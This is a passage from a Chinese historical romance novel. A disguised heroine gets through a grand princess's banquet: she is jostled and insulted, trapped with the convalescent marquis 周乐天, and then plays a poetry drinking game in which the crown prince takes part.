文臣女眷素来千娇百宠,都不敢用刀,一时之间大家都避过了这道菜,关怀素瞧宋兰眼巴巴地看着,想到她寄居亲戚家,过的简谱,这炙羊肉平素只怕吃不到。 想到这里,关怀素心中怜爱,便站起身,主动拿刀把肉分好,给宋兰捻了一块放在碗里。 宋兰眼睛发光,对关怀素开心一笑,同桌的女孩们见关怀素分好,也笑着点头致谢,便个个去夹炙羊肉吃。 关怀素正要放刀,自己也坐下来,却没想到身后有人重重一撞! 刀光冰寒,若不是关怀素身手不错,反手一把将刀子深深扎入炙羊肉里,只怕就要割到自己。 可饶是如此,到底也是没收住力气,一下子撞到了身侧摆着的羊汤,落了一身的污渍。得亏冬日穿的厚实,倒没烫到。 关怀素回头,便见到身后坐着的婉蓉一副惊讶的样子,可怜兮兮地说:“大姐姐,我不知道身后有人……” 怎么可能不知道,她们就贴着背坐,动静说话都一清二楚,而且怎么就这么凑巧,撞的时机都如此精准? 关怀素心中涌起怒意,还没说话,偏远处大长公主似乎听到了动静,远远地问了一声:“那边怎么了?” 关怀素放下刀,公主发问,她必须前去回话,她准备离席,却见宋兰也站了起来,显然是要跟着关怀素一起去。 “你留在这里。”关怀素拍拍宋兰,匆匆说。 “我去给姐姐作证,你是被李婉蓉故意撞的!”宋兰怒气冲冲地用两桌人都听得到的音量说。 “不许来,快坐下!”这可是大长公主的宴会,在这里吵这种嘴,没得被厌恶了。 再说了,今儿个朝堂上的人马来了一大半,闹这种事情对谁都没好处。 关怀素便眼神严厉地制止宋兰,见她虽不服气,却坐下来,这才放心地匆匆走到最前面的门帘子外头蹲身请罪:“殿下赎罪,方才我握刀割肉,却没想到殿下府中刀子太过锋利,我往日用惯钝刀,一时用力过大,撞上了面前的羊汤,实在是婉玉失礼了!” 一则是解释,二则是夸刀兵锋利,以大长公主的性子,这反倒才对她胃口。 关怀素猜的不错,原本听这边吵起来,眼神不悦的大长公主听她这么说,立刻笑了出来,指着她懒洋洋地隔空点了一下,说:“你这小姑娘,倒是个机灵的……也是我没考虑周全,忘了你们小姑娘都没拿过刀,叶英,你让人帮外头姑娘们把炙羊肉片好。” 大长公主一笑,整个场面顿时松快下来,席上诸人神色都是一松。 却没想到就在这个时候,席间突然有个人开口说:“李家大姑娘,你怎地每回宴会都会出状况?” 关怀素一听,悚然而惊,猛地抬头,不可置信地看向坐在一边的宋律——要知道这句话对一个未出阁的姑娘家来说,是极重的话了! 由一个外男去责备一个年轻姑娘,说这个姑娘每次在宴会都有事情,这代表了两种意思。 一层暧昧些,是暗指这个姑娘心术不正,只怕是有意让人记住自己,另一层则是传递这个男子极其不喜这个女子的品行,觉得她状况太多,并没有打理好自己的能力。 宋律乃是刑部尚书之子,且又是太子伴读,是京师之中年轻一代郎君之中极为冒尖的存在。 他这话说出口,无论是往哪一层考虑,此事若是坐实,关怀素将极难在京师官眷圈内立足。 关怀素瞬间明白了一件事情,那就是不计任何代价,一定要反击! 她的紧张与思虑虽多,但是也不过是电光火石一瞬间的事情。 关怀素没注意到周乐天已经坐直,想说什么。她瞬间抬头直视宋律,冷声说:“我与大名鼎鼎的宋三郎不过几次萍水相逢,您便要靠着偏见给我定罪……那我斗胆想说一句,每回我在宴会出了一点状况,宋三少你次次非要唇舌相讥,那我可否就告知天下人,说宋家三少是个心胸狭窄的小人呢?!” 此话一出,宋律腾地站起来怒斥她:“你大胆!” “我却觉得她说的不错。”便在此时,周乐天抓到机会立刻开口,冷声说,“宴席本就人多,偶尔出些状况在所难免,宋三郎,你在众目睽睽之下如此随意污蔑一个女子闺誉,未免也太小人!” 这话一出口,宋律登时大怒,他还想说话,他身边的妇人却立刻开口呵斥他:“三郎,你闭嘴!” 而后又走出来,对大长公主和周乐天分别行礼说:“长公主殿下、平安侯赎罪,我家三郎年纪小,素来总爱在家里和姐妹斗嘴,今日说话太没有分寸了,还请二位恕罪。也请姑娘也饶他一回。” 她说完,又转身想对关怀素请罪。 关怀素却侧身躲过,并不受宋夫人大礼。 周乐天还想说什么,大长公主却一扬手,然后笑着看了看关怀素,说:“你叫什么?抬起头来。” 关怀素立刻转过身,蹲身行礼,垂眸抬头。 “你叫什么名字?看着我回话。”大长公主却突然声音变了一下,关怀素抬头,便看到一张非常锐利而沧桑的脸。 那是一张非常“将军”的脸,饱经风霜,没有一丝脂粉痕迹,气势如一柄光华尽收的宝剑一般。 寻常人看到女子,总会先评判对方的容貌,但是大长公主并不会让人有这种感觉,哪怕她只穿着最寻常的劲装、腰系白绸、头发只绑了男子一般简单的发髻,除此之外身上并无佩戴金玉,却依然给人一种极其强势的威压感。 这是常年手握重兵的上位者的气势,哪怕仔细看能发现大长公主风霜之下五官其实非常有锐利之美,却也不敢让人细看。 关怀素也只敢看一眼,然后努力镇定回答:“回殿下,我乃吏部考功司侍郎李珺长女,名李婉玉。” “李珺大女儿,婉玉……你是素素的孩子?”大长公主却一愣,关怀素想说话,她却仿佛才看到关怀素身上的羊汤似的,立刻吩咐身边女官:“叶英,去,带她去换身干爽衣衫,这大冬天的,身上弄湿了别生病。” 旁边一个四十来岁的中年女将立刻领命出来,示意关怀素跟自己一起出去。 “找找我年轻时的衣衫,素素当年还落在我这里有几套新衣,我记得好像都没穿过。”大长公主在身后说着,似乎没看到周围人纷纷微微变色的表情。 关怀素心中不安,可也知道这事儿不是自己能决定的,只能谢恩之后,跟着嬷嬷们下去更衣。 第五十一章 酒宴(中) “姑娘别怕,公主年少时与关娘子一起长大,同窗读书,情如莫逆。”叶英带着关怀素出门,一路走到人少的地方,便笑了一下,开口对关怀素说,“公主只是关心姑娘。” 她应也是个悍将,身上的气势也极为吓人,不说话的时候叫人不敢搭话,但是一笑之后,身上的悍烈之气少了许多,连眼角炸开的鱼尾纹也显得慈爱了一些。 或许,她真的是慈爱地在看着关怀素。 “关娘子生产前,我就跟着公主去了西北,此后十几年都未曾回京,竟不想你已经长这么大了,还与关娘子长得这般像。”叶英看着关怀素,笑着说,“方才对答也是个好的,看来李家把你教得不错。” 关怀素嘴里泛出一股些微的苦涩,并不接这个话头,只问:“叶……” “我乃公主帐下参将,但是如今咱们女将在朝堂并不封官职,只在军中这么叫,所以你叫我叶伯娘就好。”叶英看出关怀素不知如何称呼自己,便主动开口说。 “叶伯娘好。”关怀素笑着称呼,然后轻声问,“叶伯娘和殿下离京之后就一直再未回京吗?” “是啊,当年京城一别,没想到这么多年再没回来过。”叶英说话之中十分感慨,她和大长公主一样,都是脸色粗粝,行走之间龙行虎步,和京师女眷气质截然不同。 说话之间,已经到了地方。 “去把今年做的新衣衫拿出来,当年关娘子留在家里的衣衫也拿出来。”叶英进屋就吩咐,又对关怀素温声说,“虽这衣衫有人专门清理打点,会定期拿出来通通风,但是到底也这么多年了,料子只怕也不新鲜了,所以你瞧瞧是个念想,但是咱们还是挑今年新做的衣衫。” “多谢叶伯娘。”关怀素自然是全凭叶英处理。 这时候侍女们抱着衣衫抖开,一条条地挂在衣架上给关怀素看。 这一看,关怀素便发现,哪怕是旧衣,阿娘当初的衣衫也十分精致漂亮,有几条还是满绣鳌衣和蜀锦宫裙,瞧着华贵异常。 “公主当年做衣裙首饰,从来都是自己一份、关娘子一份。”叶英看关怀素眼神震惊地看着衣架,便轻声解释,“直到关娘子出嫁,这习惯才断了。” 关怀素登时对阿娘与公主的关系有了更深的认知,她轻声呢喃,说:“真好,阿娘曾经也有很好的朋友呢。” 叶英微微有些诧异地看她一眼,关怀素却没发现,她眷念地过去看看那些衣衫,摸了摸,仿佛透过这些衣衫,触摸从未见过的阿娘。 叶英的眼睛微微湿润,不敢叫她太伤怀,便说:“姑娘看看新作的衣衫吧。” 关怀素点头,立刻回头去看,而后指着一件素锦说:“伯娘,我就挑那件吧。” 叶英一看,皱眉说:“这件也太素了些。” “伯娘,殿下疼我是一回事,但是我若是穿蜀锦绣金,却也太轻狂了些。”关怀素便笑着说,“再说了,我喜欢浓绿色,这颜色我瞧着极美。” 叶英看她神色坚定,想了想说:“那便搭那边那件红袄子,你年纪轻轻的小姑娘,要穿些鲜亮的,不许拒绝。” 后面则是对关怀素说的。 关怀素看了一下,那衣料已经算是公主府上能找到最简谱的了,只是绣着牡丹的红缎翻毛领裘衣,瞧着虽富贵,但不算太过分。 关怀素便立刻点头换衣,出来之后,叶英便按着她坐下,给她头上戴了个绿玉垂红珊瑚珠的金冠,关怀素有点紧张地说:“伯娘,快拿下来吧,这太贵重了!” 叶英却按住她的手,轻笑着说:“戴着,这金冠绿玉红珠,恰好配你身上这红衣绿裙。公主当年便是连一年景的珍珠拉翅凤冠都给关娘子做过,你这算得上啥,不要太小心了。” 说完又笑着对身边的侍女们说:“你们看看,这换了一身打扮,是不是和换了个人一样?” 身边的侍女们看的出来叶妈妈高兴,立刻便跟着纷纷赞扬。 关怀素瞧着叶英伯娘态度坚决,也不多说,她们已经耽误许久,这会子便赶紧要返回宴席。 当然,回席上第一件事情,便是要去给公主请安谢恩。 “好看。”大长公主正跟刚到宴席的福宁郡主说话,见关怀素进门请安,回头一看,眼神出现了愣怔之色,然后喃喃地说,“就是太简朴了些,叶英,你怎地这么小气,给她挑的这么素净?” 席上众人都神色有些诡异,因关怀素身上绿裙红裘衣,毛领子都是白的没有一丝杂毛的狐狸毛,料子都是上好的锦缎,牡丹更是绣了满背,可以说与素净毫无半点干系。 叶英一笑,抱拳回答,说:“属下也这么说,但是姑娘说她小小年纪,不可太过招摇,简朴就好,这才挑了最不起眼的,那裘衣还是属下硬给塞的。” “原来如此,你这孩子,小小年纪,本就该多打扮,小姑娘又不是老尼姑,可不要学那些什么女子要安分随时、简朴自持,那都是没本事的人刻薄小姑娘的话。”大长公主说完,便对关怀素招手,“过来。” 关怀素便走上前去,还没说话,便被大长公主一手拉住,旁边的夫人早有眼色挪了位置,给关怀素添了凳子。 关怀素便坐下,大长公主柔声问她:“平素喜欢吃什么?” 她浑身的肃杀之气在这一刻冰雪消融,虽气势还很吓人,但是却是藏不住的温柔宠溺,关怀素紧张之心稍微缓和下来,轻声回:“回殿下,喜欢炙羊肉、杨梅饮子。” 她说完,大长公主竟亲自起身拿起匕首,切下一块最嫩的羊肉来,放在关怀素面前的碗碟里,然后坐下,吩咐身后人:“家里可还有杨梅饮子?” “殿下,冰窖里还有。”身后女官立刻轻声回,“就是不多,所以没放在宴席上。” “去拿一些来,你们还有谁想喝的,也一起拿来。”公主吩咐完,又对身边几桌人说。 “那我们便沾了大姑娘的光了!”立刻便有女眷们笑着捧场,场面一下子又热闹起来。 “玉儿。”大长公主眼里含着笑容,似乎还有透过关怀素看着故人的思念,她说,“不必在我面前拘谨,叫我伯娘就好。” 关怀素犹豫了一下,大长公主便说:“你阿娘当初叫我刘敏、敏敏,生气的时候叫我莽夫、混账……” 看到关怀素惊讶地瞪大眼睛,大长公主朗笑出声。关怀素才发现,气势吓人的大长公主其实笑起来很温柔,眼角的皱纹仿佛都带着年长者的智慧与运筹帷幄。 大长公主,其实长得很好看,她若是愿意盛装打扮,只怕京师之中也少有人能与她的浓艳匹敌。 最主要的是,她提起阿娘的时候,眼角眉梢都是怀念与温柔。 关怀素突然就一点也不害怕她了,身体慢慢放松下来,她轻声喊了一声:“伯娘好。” 大长公主闻言笑意加深,不知是不是关怀素的错觉,她仿佛在大长公主眼里看到了一闪即逝的泪光。 关怀素不敢深究,便低头去吃炙羊肉,吃到一半,便见有新的菜又到了碗里。 她抬头一看,竟又是大长公主笑意盈盈的眼睛。 就这么关怀素吃着饭,大长公主竟是给她布了一整餐的饭食。 众人面上照样谈笑风生,实则心中不知已经惊愕到了什么地步。 福宁郡主看着这一幕,脸上出现了些微的犹疑之色。 吃完酒席,身边的姑娘们都在大喊说趁着这几日天气冷,湖面已经结了厚冰,便要一起去打冰球,一部分说要游园,福宁郡主神色一厉,立刻扬起笑脸,开口说:“婉玉姐姐,要不要与我们一起打冰球?” 而后又笑对大长公主说:“听说当年关娘子蹴鞠十分厉害,一脚下去直击球飞起三层楼高……李家姐姐想来应当球技也很了得!” 关怀素立刻摇头,说:“叫郡主失望了,我自小未曾练过冰球,实在是一窍不通。” “这怎么可能,李姐姐定然是谦虚,走,我们一起去玩玩嘛!”福宁郡主却仿佛没听到一般,笑着就要拉关怀素。 关怀素其实会,甚至不只是冰球,便是马球蹴鞠,她全都会。 可是姐姐不可能会,因此她这会子肯定不能下场。 幸好大长公主瞧着关怀素确实为难,便温声开口:“福宁,你拉她入队,若是输了球,便去军营里历练几个月。” 福宁郡主一滞,脸上露出犹豫之色,身后厉如珠立刻朗笑开口:“那可不行,我们都打出默契了,换谁都少了一个臂膀!” 她说完,对着关怀素挤了挤眼睛,一脸“放心,我罩着你呢!”的表情。 关怀素心中一松,抿了抿嘴,按下笑容。 福宁郡主见此,尤自不肯放弃,说:“既然如此,那不如让李家姐姐来给我们做个裁判吧!” 她退了一步,关怀素不好一再打她的脸面,只能跟着一起去冰球场。 到了球场,大长公主便脱了披风,众人也纷纷脱了毛裘,只着劲装,由大长公主带的女将与各位武将夫人一队,而姑娘们则由福宁郡主领头,开球之后,就是激烈的恶战。 关怀素站在一边,这边湖心亭本就地势开阔,风很大,打球的人动作激烈,满身是汗,倒是不觉得寒冷。 但是她站在一侧,哪怕身着貂裘、怀里还抱着个手炉、身边也有炭盆,可是寒风一吹还是浑身发冷,只能看着场中不断走动,来活动身子。 “停!”没打几个回合,大长公主便突然喊了一声,而后滑到关怀素面前,皱眉说,“你这孩子,都冷得小脸发白了,怎地不叫人呢?” 说完又说:“快回去暖阁里坐坐去,园子里有腊梅,你喜欢的话也可以去看看。” “多谢伯娘!”关怀素赶紧抓住机会告退:“我也是不知道竟这么冷,那我就先回去了!” 关怀素在南方长大,确实是没想到没有遮挡的湖上竟冷成这样,闻言如蒙大赦,立刻扶着柳叶,两人飞快就往暖阁走。 “姑娘,你再暖暖身子,我去找人要些姜汤来。”回了暖阁,柳叶稍微暖和下来,便对关怀素说,“得祛祛寒气,不然怕风寒。” “好。”关怀素点点头,便坐在屋里继续休息。 却没想到,柳叶才出去,便有一个女官领着几个侍女进来,看到关怀素在里面,那女官愣了一下,上前笑着行了个礼说:“姑娘,咱们在收拾,不太方便,我带姑娘换个地方休息可好?” 客随主便,关怀素也没多想,便点点头,说:“行,一会儿我那婢子找回来,烦请让她来寻我。” 见女官答应着吩咐侍女,关怀素便放心地跟着女官一路绕过暖阁,往里面走去。 只是连续过了三扇门之后,关怀素顿时有些皱眉,她迟疑地看了一眼那女官,看着确实是方才在公主身后伺候的女官之一。 是跟在公主身边伺候的人,又在公主的庄子里,想也不会遇到什么大事。 关怀素正想着呢,好在这时候地方到了。 女官笑着说:“到了。姑娘见笑了,今儿人太多了,前头院子里实在安排不过来,劳烦姑娘走这么远了。” 关怀素放下心来,连称不敢,外头来了侍女燃了炭盆,又给她换了手炉子,瞧着竟比暖阁里还舒服。关怀素看着这确实是招待人的样子,加上实在是全身冻得发疼,实在是脑子一点也转不动了,她就坐在炉子边,开始烤火。 这炭火一烤,人顿时如获大赦,慢慢地烤的舒服了,关怀素整个人就有些迷糊起来。 于是一向机敏的她,居然也没发现,身后的侍女与女官就这么悄悄地出了门不说,还把门带上了。 等到关怀素全身暖起来的时候,突然就听到了里屋里,似乎有人发出了一些动静。 关怀素一下子惊醒,立刻吓得站起身,转身就想往外头走——不管里面是什么人,或者有没有人,离开是最好的方法。 然而到了门口,关怀素脸色顿时一沉。 因为门拉不开,似乎从外头锁上了。 第五十二章 酒宴(下) 关怀素登时心中大急,恰好此时,身后突然传来动静。 关怀素立刻转身,一垂手拿出贴身短匕,凶狠地看向来人。 因冬日严寒,窗户都放了厚厚的挡风帘子的关系,屋内又没掌灯,关门后十分昏暗,来人看不清楚,但是此人看着不像什么好人,因为此人一上来就要抓关怀素的衣衫。 关怀素立刻做了搏命的准备,上前就是狠狠一刀! 她也算身手敏捷的,但是此人却仿佛是个真正的练家子,反应极快,千钧一发之际竟然躲过了关怀素全力一击。 关怀素只觉得后脖子一紧,披在外头的外套竟是被抓的落在地上。 关怀素闷不做声,立刻手腕反转一个刀花,一刀就要往来人肚子上扎进去——千钧一发之际,来人却突然歪倒在她身上,而后发出虚弱的咳嗽声。 关怀素一个急刹车,命悬一线之际,才算是收住了刀,她惊恐地脱口而出:“侯爷?!” 她连忙扶着人坐下,而后转身摸索着用炭火引燃蜡烛,转身一看,那一直在咳嗽的不是小侯爷周乐天又是谁? “侯爷,你怎么在这里?”关怀素紧张地过去扶人起来,坐在炭火边上。 “这是我的书房。”周乐天体弱,散了宴席便回书房自个儿休憩,这会子咳嗽着终于喘过气来,虚弱地问,“你为何在这里?我方才还以为你……” 说到这里,周乐天微妙地一顿,关怀素垂眸,便看到他手里收起了一片极细的寒光。 他竟然也是出手就是杀人的手段,关怀素心中震惊,不明白为何周乐天在自己母亲的院子里,居然会如此提防陌生人,按道理来说,在自己家听到动静,第一反应不该是出手抓人杀人,而应该是问来者何人才是? 但是关怀素知道,许多事情不是她该问的,尤其是周乐天这种身份,她更是想都不该多想。 于是关怀素假装没看到,只面上诧异地说:“是公主身边的女官带我来的,怎么回事,这里不是宴客的地方?” “……不是!”周乐天收起指缝间的刀片,吓出一身冷汗。 方才要不是他恍惚之中看到了关怀素的侧脸,不然他那一瞬间就不是咳嗽,而是切断眼前人喉咙了。 不过周乐天心中也有点惊疑不定,因为不只是关怀素看到了他指尖的猫腻,他也看到了关怀素悄悄藏回袖子里的匕首。 李家大姑娘不应该会用刀,而且还一出手就是极其老辣的杀招,瞧着不像是没见过血的闺阁姑娘懂的东西。 但是周乐天心中虽想了很多,面上却只是故作虚弱地咳嗽了一下,温声说:“先把蜡烛点上吧。” 二人点燃烛火,又去试探门扉,才发现不但门被关上了,窗户也被锁死了。 “这到底是怎么回事?”关怀素急了,说,“谁会无事想把我和您关在这里,这能有什么好处?!” “咳咳……许是想污蔑你我私会,咳咳……攻讦李大人?”周乐天心情激荡,愈发咳嗽,也努力想理清楚思绪。 “能买通公主身边的妈妈,做如此局,只为了我爹?”关怀素自嘲一笑,说,“我倒不知道我爹能有如此重要。” 这显然不太可能,周乐天闻言,轻声说:“不是为了令堂,就是为了公主……总归不是为了我这个废人……” 说到这里,周乐天自嘲一笑。 “胡说什么,你不是废人,是英雄!”关怀素脱口而出,看周乐天惊讶,她认真地说,“事发之后,没有一个西北百姓怀疑你勾结狄夷,只要见过你破城而入、见过你如何拯救满城性命的人……没有一个会怀疑你的清白。” 西北十三城,在狄夷血洗期间,民不聊生,彷如炼狱。 烧杀抢掠不算什么,甚至当时狄夷大将喜食人肉,每日挑选大燕百姓当街宰杀烹食。 所以当日周乐天破城而入,目睹此惨象,目眦欲裂,屠尽狄夷整支军队……这些,当日关怀素乃亲眼所见。 见过的人,不会怀疑小侯爷周乐天的英勇无畏,更永远不会怀疑他是多么伟大的真英雄。 关怀素永远坚信这一点。 她直直地看着周乐天,轻声却坚定地说:“只是百姓身如草芥,不能上达天听,无法为侯爷伸冤……请侯爷万勿自弃。若您身体好些,可去西北十三城走一趟,您的长生牌位依然遍布家家户户……所有人,都希望您安康。” 这也是关怀素前几年重访西北十三城时见到的事实。 西北十三城的百姓,没有一个人相信平安侯叛国。 周乐天看得出来眼前人的认真,她眼神坚定,一丝也不曾作伪。 这些话,没有人跟周乐天说过。 他自出事之后,母亲不信他、舅舅不信他,唯有皇祖母说知道他不会,可也不会如眼前这个女子一般斩钉截铁,像是亲自见过一样。 “你、你说真的吗?”周乐天不敢置信地问关怀素,“你说、百姓们信我……是真的吗?” “是真的。”关怀素这会儿才知道,原来周乐天竟不知道这回事! 难怪他身上总是死气沉沉的,难怪他总是怏怏不乐的。 他以为没有人信他! “西北十三城,没有人不记得您。您当初在城里置办的宅子,还有百姓自发为您守宅,据说连那宅中您亲手所种的石榴树,如今还年年结果呢。”关怀素没想到周乐天竟一无所知,心中十分难受,忙说,“我送过去的药方您试了没?您试试,那是医圣的方子……您把身体养好了,他日亲自再回去看看吧。” 看看自己的旧宅子,也看看被您这颗将星庇佑过的百姓。 他们信你。 …… 周乐天心中剧震。 若说他一开始还有怀疑,但是说到旧宅,甚至说到宅中石榴树,周乐天顿时再无一丝怀疑。 他瞪大眼睛,眼中泪水瞬间决堤而下。 他狼狈地想用双手捂住脸,可是却怎么遮也遮不住决堤的泪水。 他哽咽地,狼狈地颤声说:“我以为大家都在怨我,西北一万五千儿郎,全是精兵,都受我连累,便是我帐下参将、传令官都尽数问斩……” 他说到这里,泣不成声。 关怀素心神剧震。 此番相逢,她一直奇怪周乐天为何身上一丝人气也没有,像是随时散入水里的墨汁一般。 关怀素一直以为他是受不了打击,所以才自暴自弃,却没想到他竟是一直都背负着这么强的负罪感。 他甚至还以为大家都在怨恨他。 关怀素想到昔日意气风发的少年将军,再看他在眼前捂脸痛哭,顿时心中百感交集,竟也眼圈发热。 “侯爷,您……”她想说什么,却突然听到远处有嘈杂之声。 有人来了! 周乐天也第一时间察觉到,他几乎用尽全部的意志力,才让自己生生忍下憋了崩溃的情绪。 他扶着桌子站起身,胡乱擦干净脸,贴在窗边细听一下,微微皱起眉,说:“听着是女眷们。” 关怀素也听到了,如今幕后之人到底是谁、为了什么已经不再紧要,紧要的是,他们绝对不能落入圈套——谁知道后续还有什么等着他们呢? 想到这里,关怀素眼神刚巧落在了书房案几的一叠图上。 图案描绘工整,关怀素自小看这种工程图,几乎瞬间就知道了眼前这些凌乱图纸到底是什么。 “小侯爷,这图纸是您从哪里弄来的?”关怀素稍微看了几页,立刻有了想法,连声问周乐天。 周乐天神色微微诧异,说:“此乃京师里的水道图,你看得懂?” 后面那句却是惊疑。 京师水道图十分重要,牵涉军机大事,一般文官尚且看不懂,周乐天自然诧异。 关怀素见猎心喜,连连翻看,兴奋地脱口而出:“我当然知道,这图我祖父也有一份!这京师水道图当年就是我祖父主持修建,只可惜修了一大半之后,先帝去世,我祖父不得不告老还乡,此事就耽搁了,我祖父后来一直为此怅惘呢……” 说到这里,关怀素神色一紧,才突然发现自己见猎心喜,竟不小心说漏了嘴。 “你祖父不是肇州乡下的富户吗?”周乐天当然也立刻抓住了里面的漏洞,立刻反问,“你说的是你的外祖父关大儒吧?” “对对。”关怀素点头,她知道说错话之后绝对不能心虚找补,因为一旦找补,反而会错上加错,因此她闭紧嘴巴,只连连点头。 好在那说话声音到了门口,周乐天顾不得追问,关怀素立刻扯开话题,说:“侯爷,不如我们就说,您在研究这图纸,恰巧听闻我外祖父曾主持修建京师水道,便让我来问话……如何?” 此安排十分合乎情理,周乐天立刻点头同意,又微微侧头,有些不好意思地说:“你把衣衫也整理一下。” 关怀素这一低头,才发现方才打斗之中,她脖子那边的衣襟松散,竟露出了一点肩颈。 这对常年男装在外游历的关怀素来说,完全不算回事,她飞快整理完,看到周乐天还侧着头。 灯光下,当年麦色肌肤的少年将军,如今皮肤因为缺乏日晒变得雪白,因常年病弱的关系,人又显得单薄羸弱,瞧着有些弱不胜衣。 偏又生得极其好看,这样偏着头害羞地拿袖子擦干净脸上哭过的痕迹,明明是关怀素自己露出肌肤,却感觉像是欺负了他一般。 关怀素不好意思地干咳一声,想说句话缓和突然尴尬的气氛,却听到外头福宁郡主高声娇笑说:“哎呀,方才打冰球乐天哥哥都没来看看,多好玩呢!乐天哥哥在不在啊,怎地门外都锁了门?” 说着外头传来开门的声音,而后众人入内就看到,小侯爷周乐天与李婉玉站在一起,烛光盈盈之中,小侯爷俊朗潇洒、长身玉立,而李婉玉清丽优雅、美貌动人。 二人看着,竟像是一对极其般配的璧人。 众人瞠目结舌,而两人这才像是看到有访客,周乐天皱眉,疑惑地问:“你们怎地都来了?” “……玉儿怎么也在这里?”大长公主一身热气腾腾的汗,显然是打完冰球才下场,疑惑发问。 “前头暖阁在打扫,婆子带她在隔壁休息,我听说关老先生当年负责整个京师水道修建,就想起来舅舅前些日子说起京师年年雨大些就要发水患,百姓苦不堪言,便叫人请她过来帮忙看看。”周乐天平静地解释。 “哦?玉儿你也懂工学?”大长公主闻言,便问关怀素。 “回伯娘,婉玉略懂一点皮毛。”关怀素垂眸请安,谦虚地回答。 “这京师水道图你看得懂?”大长公主走过来,随手拿起桌上的图,笑着问,“这里是何处,又是如何设置?” “此处是西城,西城百姓杂居,巷弄幽深,这里标记的意思,乃是城西许多水道未曾修缮,未与京师主要下水道相连……”关怀素立刻便回答,这些原是她就知道的东西,所以回答起来胸有成竹,一处未错。 大长公主又连连问了几个地方,关怀素答得滴水不漏,大长公主听完,拍了拍关怀素的背,说:“确实学得极好,你娘当年就对这水道不感兴趣,学得还没你好呢。” 接着又宠溺地说:“不过今儿是宴会,不许拿这些事情烦心。乐天,太子应也快来了,你去前头接,玉儿,咱们去前头,晚上摆宴,给你试试我珍藏的梨花酿。” 关怀素立刻垂眸答应下来,福宁郡主想说什么,刚想开口,却被大长公主余光扫了一眼。 福宁郡主神色一顿,等回过神来,众人已经都出门去了。 福宁郡主脸上闪过有些担忧和不安,到底也跟着出去。 第五十三章 宴中风波 到了前院,宴客的地方已经收拾好,暖阁处处都打起帘子,园子里漂亮的奇山与凋敝的桃树枯枝终于完全显露出来,冬日的风虽冷,却吹散了这暖阁里过于甜腻的香气,让回到席间的关怀素觉得心胸一畅。 便在这时,太子到了。 众人纷纷起身恭迎。 “太子哥哥!”福宁郡主一见到太子,登时心花怒放,众人还在行礼,她便飞奔到了太子跟前,一脸喜悦地拉住太子的衣摆。 太子对福宁郡主也很是亲热纵容,任她拉着衣摆,对着大长公主慢声说:“姑母的宴席,我来晚了。” 细听之下,关怀素发现太子的声音非常平稳,似乎只是平铺直述,没有道歉,也没有不好意思,更无喜悦。 与城门口那日远远听着比起来,似乎有些不太一样,叫关怀素听着微微一愣。 大长公主招呼:“既然来了,便与大家一起参加飞花令吧。” 太子颔首,众人这才纷纷落座。 侍女们满斟酒,大长公主当先说:“寒冬时节,便以雪为题吧!我先来,胡天八月即飞雪!” 太子就坐在大长公主身边,闻言立刻便答:“已惊岩下雪如尘!” 如此传了一圈,便到了关怀素面前,关怀素接上:“燕山雪花大如席。” 如此在暖阁这边轮了几圈下来,到了第四轮,关怀素也有些吃力了,令鼓击打了三下,才匆匆想到了一句“连空春雪明如洗”来。 等到第七轮,众人开始游移起来,大部分人已经再憋不出一句没说过的,轮到自己就开始闷头喝酒。 关怀素勉力又支持了几轮,她到底不太擅长诗文,于是终是在第十一轮再想不出别的,便拿起面前的酒来喝。 几轮过去,关怀素喝的有些头晕,不免思维迟钝,等到她反应过来的时候,突然只听到三人还在传令—— “三春白雪归青冢!” “万里寒光生积雪!” “残雪离离草树荒!” “雪消门外千山绿!” “中临风雪夜将深!” “云横秦岭千秋雪!” …… 竟然是宋兰、太子和宋律三人! · 关怀素酒醉一下子被吓醒了一半。 她抬头望过去,隔了两道门的宋兰远看已经脸上一片驼红,面上反应极快在飞速回答诗句,但是实际上只怕有些醉了。 关怀素倒是不担心宋兰喝醉,她担心的是太子贪花好色名声在外,据说当年还曾有强抢大臣妾室的传言。 宋兰她不但貌美,还如此有文采,若是给太子看上可就糟糕了!关怀素与宋兰虽相交不太多,却也看得出宋兰绝对不是想与几十个女人争一个夫君的人。 想到这里,关怀素心中大急,假装喝醉,一挥手把酒菜全打翻在了自己身上,然后重重把头放在了桌上。 “哎哟,快停了!这都喝醉了!”这动静立刻引起喝的兴起的大长公主的注意,她立刻喊停,叫,“叶英,去把玉儿扶下去休息。我也是忘了,她们这帮小姑娘和咱们不一样,这梨酒喝多了也上头。” 又对女官们吩咐:“小心照料醉酒的客人们,不许出岔子!” 女官们纷纷应是,便立刻接引醉酒的姑娘们去休息。 此时已经日头西斜,许多人都已经半醉,再不出发赶不上城门关闭的时间,于是众人纷纷也趁势辞行,结伴离去。 · 关怀素和宋兰先后被搀扶到了待客的院子里休息,宋兰酩酊大醉,进屋便开始呕吐起来。 关怀素正忙着照顾,周乐天踏着月色,担忧地来了院子里。 看到院子里没人伺候,周乐天立刻皱眉。 “爷,今儿郡主和好些夫人姑娘都吃醉了,人手不足,估计还没顾得上这边。”来福立刻在身边小声说完,又说,“我这就催人快些来。” 周乐天颔首的时候,关怀素听到有人,好奇地走到门口,见是周乐天,立刻请安。 “听说你醉酒,我来看看。”周乐天拉着她,不让她行礼,上下打量看她样子很精神,微微松了口气,说,“瞧着无事就好。” 关怀素有些好奇地抬头,说:“侯爷便是为了此事?” 周乐天不知为何,被她的眼神看得一愣,心中微微觉得古怪。 但是他没来得及思考,话到嘴边,不知为何鬼使神差就脱口而出一句:“我是想问问你,能否协助我整理一下京师水道图,圣人正为此事烦心,若是能修理好京师水道,对百姓来说,也是一桩好事。” 关怀素正要说话,一阵寒风吹来,周乐天突然咳嗽起来。 开始还是三两声咳嗽,接着却剧烈地咳,一时居然止不住。 关怀素这才发现二人还在门口说话,她连忙招呼人进门,又把手中热汤婆子塞到他的手里。 感觉到周乐天的手冰的吓人,关怀素忍不住轻声埋怨:“平安侯,你如今这个身子,正是虚寒苦弱的时候,怎地不拿个手炉子,也不戴风帽,就这样大喇喇地在外头站着?” 来福听到,登时连声诉苦,说:“姑娘您可说说他,方才过来的时候,我备了风帽、大氅和手炉子,爷偏说在家里才几步路,何至于这么小心,非就这么出来了,您瞧瞧,现在自个儿又难受!” 关怀素一听,不免皱眉,说:“侯爷,如今您旧伤还在,不是大意的时候。日头久长,您将养好了身体,待沉疴痊愈,自然可以衣简身轻,自由自在,何必急于一时?” 周乐天闻言心中温热,低声说:“你说的是,是我大意了。” “我原先小时候,也是身体不好,”关怀素瞧他那个样子,又觉得有些同病相怜,便忍不住温声鼓励他,“那时候我冬日整日整日不能出门,就有……有人跟我说,人生在世,能忍一时,才能久长。果然我调理了几年,身体愈发好了,其后越来越健壮,便是冬日游园也无事了。侯爷您且不可操之过急,要好好养伤啊!” 